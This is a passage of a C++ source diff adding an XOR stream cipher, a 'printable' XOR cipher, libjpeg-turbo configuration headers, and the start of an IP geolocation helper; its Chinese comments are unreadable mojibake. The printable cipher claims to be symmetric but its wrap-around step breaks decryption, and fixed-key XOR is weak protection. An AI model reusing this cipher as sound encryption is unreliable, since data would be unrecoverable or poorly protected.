|
|
||||||
|
public:
|
||||||
|
StreamCipher(uint32_t key) : state(key) {}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ܽ<EFBFBD><DCBD>ܣ<EFBFBD><DCA3>Գƣ<D4B3><C6A3><EFBFBD><EFBFBD>Ȳ<EFBFBD><C8B2>䣩
|
||||||
|
void process(uint8_t* data, size_t len) {
|
||||||
|
for (size_t i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= prngNext();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
class PrintableXORCipher {
|
||||||
|
public:
|
||||||
|
// <20>ԳƼӽ<C6BC><D3BD>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ɴ<EFBFBD>ӡ<EFBFBD>ַ<EFBFBD>
|
||||||
|
// ǰ<><EFBFBD><E1A3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>32~126<32><36>Χ<EFBFBD><CEA7><EFBFBD>ַ<EFBFBD>
|
||||||
|
void process(char* data, size_t len) {
|
||||||
|
for (size_t i = 0; i < len; ++i) {
|
||||||
|
char c = data[i];
|
||||||
|
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7>ǿɴ<C7BF>ӡ<EFBFBD><D3A1>Χ
|
||||||
|
if (c < 32 || c > 126) {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>ӡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// <20><><EFBFBD><EFBFBD>0x55<35><35>'U'<27><><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>32~126֮<36><D6AE>
|
||||||
|
char encrypted = c ^ 0x55;
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ط<EFBFBD>Χ<EFBFBD>ڣ<EFBFBD><DAA3>Ӽ<F2B5A5BC>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||||
|
if (encrypted < 32) encrypted += 95;
|
||||||
|
if (encrypted > 126) encrypted -= 95;
|
||||||
|
data[i] = encrypted;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
33
common/jconfig.h
Normal file
33
common/jconfig.h
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#define JPEG_LIB_VERSION 62
|
||||||
|
#define LIBJPEG_TURBO_VERSION 2.1.1
|
||||||
|
#define LIBJPEG_TURBO_VERSION_NUMBER 2001001
|
||||||
|
|
||||||
|
#define C_ARITH_CODING_SUPPORTED
|
||||||
|
#define D_ARITH_CODING_SUPPORTED
|
||||||
|
#define MEM_SRCDST_SUPPORTED
|
||||||
|
#define WITH_SIMD
|
||||||
|
|
||||||
|
#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */
|
||||||
|
|
||||||
|
#define HAVE_STDDEF_H
|
||||||
|
#define HAVE_STDLIB_H
|
||||||
|
#undef NEED_SYS_TYPES_H
|
||||||
|
#undef NEED_BSD_STRINGS
|
||||||
|
|
||||||
|
#define HAVE_UNSIGNED_CHAR
|
||||||
|
#define HAVE_UNSIGNED_SHORT
|
||||||
|
#undef INCOMPLETE_TYPES_BROKEN
|
||||||
|
#undef RIGHT_SHIFT_IS_UNSIGNED
|
||||||
|
|
||||||
|
/* Define "boolean" as unsigned char, not int, per Windows custom */
|
||||||
|
#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */
|
||||||
|
typedef unsigned char boolean;
|
||||||
|
#endif
|
||||||
|
#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */
|
||||||
|
|
||||||
|
/* Define "INT32" as int, not long, per Windows custom */
|
||||||
|
#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */
|
||||||
|
typedef short INT16;
|
||||||
|
typedef signed int INT32;
|
||||||
|
#endif
|
||||||
|
#define XMD_H /* prevent jmorecfg.h from redefining it */
|
||||||
386
common/jmorecfg.h
Normal file
386
common/jmorecfg.h
Normal file
@@ -0,0 +1,386 @@
|
|||||||
|
/*
|
||||||
|
* jmorecfg.h
|
||||||
|
*
|
||||||
|
* This file was part of the Independent JPEG Group's software:
|
||||||
|
* Copyright (C) 1991-1997, Thomas G. Lane.
|
||||||
|
* Modified 1997-2009 by Guido Vollbeding.
|
||||||
|
* libjpeg-turbo Modifications:
|
||||||
|
* Copyright (C) 2009, 2011, 2014-2015, 2018, 2020, D. R. Commander.
|
||||||
|
* For conditions of distribution and use, see the accompanying README.ijg
|
||||||
|
* file.
|
||||||
|
*
|
||||||
|
* This file contains additional configuration options that customize the
|
||||||
|
* JPEG software for special applications or support machine-dependent
|
||||||
|
* optimizations. Most users will not need to touch this file.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Maximum number of components (color channels) allowed in JPEG image.
|
||||||
|
* To meet the letter of Rec. ITU-T T.81 | ISO/IEC 10918-1, set this to 255.
|
||||||
|
* However, darn few applications need more than 4 channels (maybe 5 for CMYK +
|
||||||
|
* alpha mask). We recommend 10 as a reasonable compromise; use 4 if you are
|
||||||
|
* really short on memory. (Each allowed component costs a hundred or so
|
||||||
|
* bytes of storage, whether actually used in an image or not.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define MAX_COMPONENTS 10 /* maximum number of image components */
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Basic data types.
|
||||||
|
* You may need to change these if you have a machine with unusual data
|
||||||
|
* type sizes; for example, "char" not 8 bits, "short" not 16 bits,
|
||||||
|
* or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits,
|
||||||
|
* but it had better be at least 16.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Representation of a single sample (pixel element value).
|
||||||
|
* We frequently allocate large arrays of these, so it's important to keep
|
||||||
|
* them small. But if you have memory to burn and access to char or short
|
||||||
|
* arrays is very slow on your hardware, you might want to change these.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if BITS_IN_JSAMPLE == 8
|
||||||
|
/* JSAMPLE should be the smallest type that will hold the values 0..255.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned char JSAMPLE;
|
||||||
|
#define GETJSAMPLE(value) ((int)(value))
|
||||||
|
|
||||||
|
#define MAXJSAMPLE 255
|
||||||
|
#define CENTERJSAMPLE 128
|
||||||
|
|
||||||
|
#endif /* BITS_IN_JSAMPLE == 8 */
|
||||||
|
|
||||||
|
|
||||||
|
#if BITS_IN_JSAMPLE == 12
|
||||||
|
/* JSAMPLE should be the smallest type that will hold the values 0..4095.
|
||||||
|
* On nearly all machines "short" will do nicely.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef short JSAMPLE;
|
||||||
|
#define GETJSAMPLE(value) ((int)(value))
|
||||||
|
|
||||||
|
#define MAXJSAMPLE 4095
|
||||||
|
#define CENTERJSAMPLE 2048
|
||||||
|
|
||||||
|
#endif /* BITS_IN_JSAMPLE == 12 */
|
||||||
|
|
||||||
|
|
||||||
|
/* Representation of a DCT frequency coefficient.
|
||||||
|
* This should be a signed value of at least 16 bits; "short" is usually OK.
|
||||||
|
* Again, we allocate large arrays of these, but you can change to int
|
||||||
|
* if you have memory to burn and "short" is really slow.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef short JCOEF;
|
||||||
|
|
||||||
|
|
||||||
|
/* Compressed datastreams are represented as arrays of JOCTET.
|
||||||
|
* These must be EXACTLY 8 bits wide, at least once they are written to
|
||||||
|
* external storage. Note that when using the stdio data source/destination
|
||||||
|
* managers, this is also the data type passed to fread/fwrite.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned char JOCTET;
|
||||||
|
#define GETJOCTET(value) (value)
|
||||||
|
|
||||||
|
|
||||||
|
/* These typedefs are used for various table entries and so forth.
|
||||||
|
* They must be at least as wide as specified; but making them too big
|
||||||
|
* won't cost a huge amount of memory, so we don't provide special
|
||||||
|
* extraction code like we did for JSAMPLE. (In other words, these
|
||||||
|
* typedefs live at a different point on the speed/space tradeoff curve.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* UINT8 must hold at least the values 0..255. */
|
||||||
|
|
||||||
|
typedef unsigned char UINT8;
|
||||||
|
|
||||||
|
/* UINT16 must hold at least the values 0..65535. */
|
||||||
|
|
||||||
|
#ifdef HAVE_UNSIGNED_SHORT
|
||||||
|
typedef unsigned short UINT16;
|
||||||
|
#else /* not HAVE_UNSIGNED_SHORT */
|
||||||
|
typedef unsigned int UINT16;
|
||||||
|
#endif /* HAVE_UNSIGNED_SHORT */
|
||||||
|
|
||||||
|
/* INT16 must hold at least the values -32768..32767. */
|
||||||
|
|
||||||
|
#ifndef XMD_H /* X11/xmd.h correctly defines INT16 */
|
||||||
|
typedef short INT16;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* INT32 must hold at least signed 32-bit values.
|
||||||
|
*
|
||||||
|
* NOTE: The INT32 typedef dates back to libjpeg v5 (1994.) Integers were
|
||||||
|
* sometimes 16-bit back then (MS-DOS), which is why INT32 is typedef'd to
|
||||||
|
* long. It also wasn't common (or at least as common) in 1994 for INT32 to be
|
||||||
|
* defined by platform headers. Since then, however, INT32 is defined in
|
||||||
|
* several other common places:
|
||||||
|
*
|
||||||
|
* Xmd.h (X11 header) typedefs INT32 to int on 64-bit platforms and long on
|
||||||
|
* 32-bit platforms (i.e always a 32-bit signed type.)
|
||||||
|
*
|
||||||
|
* basetsd.h (Win32 header) typedefs INT32 to int (always a 32-bit signed type
|
||||||
|
* on modern platforms.)
|
||||||
|
*
|
||||||
|
* qglobal.h (Qt header) typedefs INT32 to int (always a 32-bit signed type on
|
||||||
|
* modern platforms.)
|
||||||
|
*
|
||||||
|
* This is a recipe for conflict, since "long" and "int" aren't always
|
||||||
|
* compatible types. Since the definition of INT32 has technically been part
|
||||||
|
* of the libjpeg API for more than 20 years, we can't remove it, but we do not
|
||||||
|
* use it internally any longer. We instead define a separate type (JLONG)
|
||||||
|
* for internal use, which ensures that internal behavior will always be the
|
||||||
|
* same regardless of any external headers that may be included.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef XMD_H /* X11/xmd.h correctly defines INT32 */
|
||||||
|
#ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */
|
||||||
|
#ifndef _BASETSD_H /* MinGW is slightly different */
|
||||||
|
#ifndef QGLOBAL_H /* Qt defines it in qglobal.h */
|
||||||
|
typedef long INT32;
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Datatype used for image dimensions. The JPEG standard only supports
|
||||||
|
* images up to 64K*64K due to 16-bit fields in SOF markers. Therefore
|
||||||
|
* "unsigned int" is sufficient on all machines. However, if you need to
|
||||||
|
* handle larger images and you don't mind deviating from the spec, you
|
||||||
|
* can change this datatype. (Note that changing this datatype will
|
||||||
|
* potentially require modifying the SIMD code. The x86-64 SIMD extensions,
|
||||||
|
* in particular, assume a 32-bit JDIMENSION.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef unsigned int JDIMENSION;
|
||||||
|
|
||||||
|
#define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */
|
||||||
|
|
||||||
|
|
||||||
|
/* These macros are used in all function definitions and extern declarations.
|
||||||
|
* You could modify them if you need to change function linkage conventions;
|
||||||
|
* in particular, you'll need to do that to make the library a Windows DLL.
|
||||||
|
* Another application is to make all functions global for use with debuggers
|
||||||
|
* or code profilers that require it.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* a function called through method pointers: */
|
||||||
|
#define METHODDEF(type) static type
|
||||||
|
/* a function used only in its module: */
|
||||||
|
#define LOCAL(type) static type
|
||||||
|
/* a function referenced thru EXTERNs: */
|
||||||
|
#define GLOBAL(type) type
|
||||||
|
/* a reference to a GLOBAL function: */
|
||||||
|
#define EXTERN(type) extern type
|
||||||
|
|
||||||
|
|
||||||
|
/* Originally, this macro was used as a way of defining function prototypes
|
||||||
|
* for both modern compilers as well as older compilers that did not support
|
||||||
|
* prototype parameters. libjpeg-turbo has never supported these older,
|
||||||
|
* non-ANSI compilers, but the macro is still included because there is some
|
||||||
|
* software out there that uses it.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define JMETHOD(type, methodname, arglist) type (*methodname) arglist
|
||||||
|
|
||||||
|
|
||||||
|
/* libjpeg-turbo no longer supports platforms that have far symbols (MS-DOS),
|
||||||
|
* but again, some software relies on this macro.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#undef FAR
|
||||||
|
#define FAR
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* On a few systems, type boolean and/or its values FALSE, TRUE may appear
|
||||||
|
* in standard header files. Or you may have conflicts with application-
|
||||||
|
* specific header files that you want to include together with these files.
|
||||||
|
* Defining HAVE_BOOLEAN before including jpeglib.h should make it work.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef HAVE_BOOLEAN
|
||||||
|
typedef int boolean;
|
||||||
|
#endif
|
||||||
|
#ifndef FALSE /* in case these macros already exist */
|
||||||
|
#define FALSE 0 /* values of boolean */
|
||||||
|
#endif
|
||||||
|
#ifndef TRUE
|
||||||
|
#define TRUE 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The remaining options affect code selection within the JPEG library,
|
||||||
|
* but they don't need to be visible to most applications using the library.
|
||||||
|
* To minimize application namespace pollution, the symbols won't be
|
||||||
|
* defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifdef JPEG_INTERNALS
|
||||||
|
#define JPEG_INTERNAL_OPTIONS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef JPEG_INTERNAL_OPTIONS
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These defines indicate whether to include various optional functions.
|
||||||
|
* Undefining some of these symbols will produce a smaller but less capable
|
||||||
|
* library. Note that you can leave certain source files out of the
|
||||||
|
* compilation/linking process if you've #undef'd the corresponding symbols.
|
||||||
|
* (You may HAVE to do that if your compiler doesn't like null source files.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Capability options common to encoder and decoder: */
|
||||||
|
|
||||||
|
#define DCT_ISLOW_SUPPORTED /* accurate integer method */
|
||||||
|
#define DCT_IFAST_SUPPORTED /* less accurate int method [legacy feature] */
|
||||||
|
#define DCT_FLOAT_SUPPORTED /* floating-point method [legacy feature] */
|
||||||
|
|
||||||
|
/* Encoder capability options: */
|
||||||
|
|
||||||
|
#define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
|
||||||
|
#define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
|
||||||
|
#define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */
|
||||||
|
/* Note: if you selected 12-bit data precision, it is dangerous to turn off
|
||||||
|
* ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit
|
||||||
|
* precision, so jchuff.c normally uses entropy optimization to compute
|
||||||
|
* usable tables for higher precision. If you don't want to do optimization,
|
||||||
|
* you'll have to supply different default Huffman tables.
|
||||||
|
* The exact same statements apply for progressive JPEG: the default tables
|
||||||
|
* don't work for progressive mode. (This may get fixed, however.)
|
||||||
|
*/
|
||||||
|
#define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */
|
||||||
|
|
||||||
|
/* Decoder capability options: */
|
||||||
|
|
||||||
|
#define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
|
||||||
|
#define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
|
||||||
|
#define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */
|
||||||
|
#define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */
|
||||||
|
#define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */
|
||||||
|
#undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */
|
||||||
|
#define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */
|
||||||
|
#define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */
|
||||||
|
#define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */
|
||||||
|
|
||||||
|
/* more capability options later, no doubt */
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE macros are a vestigial
|
||||||
|
* feature of libjpeg. The idea was that, if an application developer needed
|
||||||
|
* to compress from/decompress to a BGR/BGRX/RGBX/XBGR/XRGB buffer, they could
|
||||||
|
* change these macros, rebuild libjpeg, and link their application statically
|
||||||
|
* with it. In reality, few people ever did this, because there were some
|
||||||
|
* severe restrictions involved (cjpeg and djpeg no longer worked properly,
|
||||||
|
* compressing/decompressing RGB JPEGs no longer worked properly, and the color
|
||||||
|
* quantizer wouldn't work with pixel sizes other than 3.) Furthermore, since
|
||||||
|
* all of the O/S-supplied versions of libjpeg were built with the default
|
||||||
|
* values of RGB_RED, RGB_GREEN, RGB_BLUE, and RGB_PIXELSIZE, many applications
|
||||||
|
* have come to regard these values as immutable.
|
||||||
|
*
|
||||||
|
* The libjpeg-turbo colorspace extensions provide a much cleaner way of
|
||||||
|
* compressing from/decompressing to buffers with arbitrary component orders
|
||||||
|
* and pixel sizes. Thus, we do not support changing the values of RGB_RED,
|
||||||
|
* RGB_GREEN, RGB_BLUE, or RGB_PIXELSIZE. In addition to the restrictions
|
||||||
|
* listed above, changing these values will also break the SIMD extensions and
|
||||||
|
* the regression tests.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define RGB_RED 0 /* Offset of Red in an RGB scanline element */
|
||||||
|
#define RGB_GREEN 1 /* Offset of Green */
|
||||||
|
#define RGB_BLUE 2 /* Offset of Blue */
|
||||||
|
#define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */
|
||||||
|
|
||||||
|
#define JPEG_NUMCS 17
|
||||||
|
|
||||||
|
#define EXT_RGB_RED 0
|
||||||
|
#define EXT_RGB_GREEN 1
|
||||||
|
#define EXT_RGB_BLUE 2
|
||||||
|
#define EXT_RGB_PIXELSIZE 3
|
||||||
|
|
||||||
|
#define EXT_RGBX_RED 0
|
||||||
|
#define EXT_RGBX_GREEN 1
|
||||||
|
#define EXT_RGBX_BLUE 2
|
||||||
|
#define EXT_RGBX_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_BGR_RED 2
|
||||||
|
#define EXT_BGR_GREEN 1
|
||||||
|
#define EXT_BGR_BLUE 0
|
||||||
|
#define EXT_BGR_PIXELSIZE 3
|
||||||
|
|
||||||
|
#define EXT_BGRX_RED 2
|
||||||
|
#define EXT_BGRX_GREEN 1
|
||||||
|
#define EXT_BGRX_BLUE 0
|
||||||
|
#define EXT_BGRX_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_XBGR_RED 3
|
||||||
|
#define EXT_XBGR_GREEN 2
|
||||||
|
#define EXT_XBGR_BLUE 1
|
||||||
|
#define EXT_XBGR_PIXELSIZE 4
|
||||||
|
|
||||||
|
#define EXT_XRGB_RED 1
|
||||||
|
#define EXT_XRGB_GREEN 2
|
||||||
|
#define EXT_XRGB_BLUE 3
|
||||||
|
#define EXT_XRGB_PIXELSIZE 4
|
||||||
|
|
||||||
|
static const int rgb_red[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_RED, -1, -1, -1, EXT_RGB_RED, EXT_RGBX_RED,
|
||||||
|
EXT_BGR_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
|
||||||
|
EXT_RGBX_RED, EXT_BGRX_RED, EXT_XBGR_RED, EXT_XRGB_RED,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_green[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_GREEN, -1, -1, -1, EXT_RGB_GREEN, EXT_RGBX_GREEN,
|
||||||
|
EXT_BGR_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
|
||||||
|
EXT_RGBX_GREEN, EXT_BGRX_GREEN, EXT_XBGR_GREEN, EXT_XRGB_GREEN,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_blue[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_BLUE, -1, -1, -1, EXT_RGB_BLUE, EXT_RGBX_BLUE,
|
||||||
|
EXT_BGR_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
|
||||||
|
EXT_RGBX_BLUE, EXT_BGRX_BLUE, EXT_XBGR_BLUE, EXT_XRGB_BLUE,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
static const int rgb_pixelsize[JPEG_NUMCS] = {
|
||||||
|
-1, -1, RGB_PIXELSIZE, -1, -1, -1, EXT_RGB_PIXELSIZE, EXT_RGBX_PIXELSIZE,
|
||||||
|
EXT_BGR_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
|
||||||
|
EXT_RGBX_PIXELSIZE, EXT_BGRX_PIXELSIZE, EXT_XBGR_PIXELSIZE, EXT_XRGB_PIXELSIZE,
|
||||||
|
-1
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Definitions for speed-related optimizations. */
|
||||||
|
|
||||||
|
/* On some machines (notably 68000 series) "int" is 32 bits, but multiplying
|
||||||
|
* two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER
|
||||||
|
* as short on such a machine. MULTIPLIER must be at least 16 bits wide.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef MULTIPLIER
|
||||||
|
#ifndef WITH_SIMD
|
||||||
|
#define MULTIPLIER int /* type for fastest integer multiply */
|
||||||
|
#else
|
||||||
|
#define MULTIPLIER short /* prefer 16-bit with SIMD for parellelism */
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* FAST_FLOAT should be either float or double, whichever is done faster
|
||||||
|
* by your compiler. (Note that this type is only used in the floating point
|
||||||
|
* DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.)
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FAST_FLOAT
|
||||||
|
#define FAST_FLOAT float
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* JPEG_INTERNAL_OPTIONS */
|
||||||
1176
common/jpeglib.h
Normal file
1176
common/jpeglib.h
Normal file
File diff suppressed because it is too large
Load Diff
205
common/location.h
Normal file
205
common/location.h
Normal file
@@ -0,0 +1,205 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <string>
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <WinInet.h>
|
||||||
|
#include "logger.h"
|
||||||
|
#include "jsoncpp/json.h"
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma comment(lib, "wininet.lib")
|
||||||
|
#pragma comment(lib, "Iphlpapi.lib")
|
||||||
|
|
||||||
|
inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
|
||||||
|
size_t pos = input.find(':');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
ip = input.substr(0, pos);
|
||||||
|
port = input.substr(pos + 1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ip = input;
|
||||||
|
port = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* IPConverter: IP <20><><EFBFBD><EFBFBD><EFBFBD>࣬<EFBFBD><E0A3AC><EFBFBD>ڻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD>ȡIP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD><C4B5><EFBFBD>λ<EFBFBD>õ<EFBFBD>.
|
||||||
|
* Ŀǰ<C4BF><C7B0>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>API<50><49><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD>ѯ<EFBFBD><D1AF>վ<EFBFBD><D5BE><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
*/
|
||||||
|
class IPConverter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
std::string IPtoAddress(const std::string& ip) { return "implement me"; }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <20>жϸ<D0B6><CFB8><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||||
|
* @param ipAddress IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "192.168.1.1"<22><>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD> IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> true; <20><><EFBFBD><EFBFBD> false
|
||||||
|
*/
|
||||||
|
bool IsPrivateIP(const std::string& ipAddress) {
|
||||||
|
// <20><> IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ʽ
|
||||||
|
in_addr addr;
|
||||||
|
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
|
||||||
|
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַת<D6B7><D7AA>Ϊ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
unsigned long ip = ntohl(addr.s_addr);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7>
|
||||||
|
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
|
||||||
|
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
|
||||||
|
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
|
||||||
|
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
std::string GetLocalLocation() {
|
||||||
|
return GetGeoLocation(getPublicIP());
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ IP <20><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>(<28><><EFBFBD><EFBFBD>[ipinfo.io])
|
||||||
|
std::string GetGeoLocation(const std::string& IP) {
|
||||||
|
if (IP.empty()) return "";
|
||||||
|
|
||||||
|
std::string ip = IP;
|
||||||
|
if (isLocalIP(ip)) {
|
||||||
|
ip = getPublicIP();
|
||||||
|
